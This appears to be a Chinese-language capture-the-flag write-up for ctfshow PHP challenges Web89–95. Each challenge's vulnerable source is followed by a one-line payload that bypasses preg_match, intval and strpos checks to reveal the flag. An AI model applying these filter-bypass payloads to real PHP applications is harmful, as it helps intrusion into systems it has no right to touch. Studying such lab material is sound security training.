1. 程式人生 > 實用技巧 >ctfshow之Web入門89-91

ctfshow之Web入門89-91

0x01Web89-91PHP特性payload

Web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

//這裡主要是對數字進行了過濾,並且又要GET請求傳入的num變數為數字或數字串,關於preg_match()函式一個漏洞——>無法處理陣列
Paylaod:?num[]=10

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//強比較+intval函式
Payload:?num=4476e

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

//這裡有有兩個條件,第一個需要是php,第二個又不可以php,不過有個差距就是m模式,/m代表匹配多行資料,這裡可以通過%0a進行繞過
Payload:?cmd=%0aphp

Web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//這裡不能是4476,但是又要是4476,intval可以識別十六進位制為十進位制
Payload:?num=0x117c

Web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

//ban掉了字母,但是可以用八進位制繞過
Payload:?num=010574

Web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//不能以0開頭了,這時候可以試試小數,intval只識別整數部分
Payload:?num=4476.0001

Web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

//弱比較不可以是4476,然後是傳入引數不可以存在大小寫的26個字母和“.”,接著是不可以以0開頭,最後結束匹配時需要4476,一開始的若比較,這裡可以用010574(4476的八進位制)繞過,直接到了strpos函式這裡,這裡不能以0開頭,去看了看intval函式的發現最開頭可以如果是+還是可以識別為原數
Payload:?num=+010574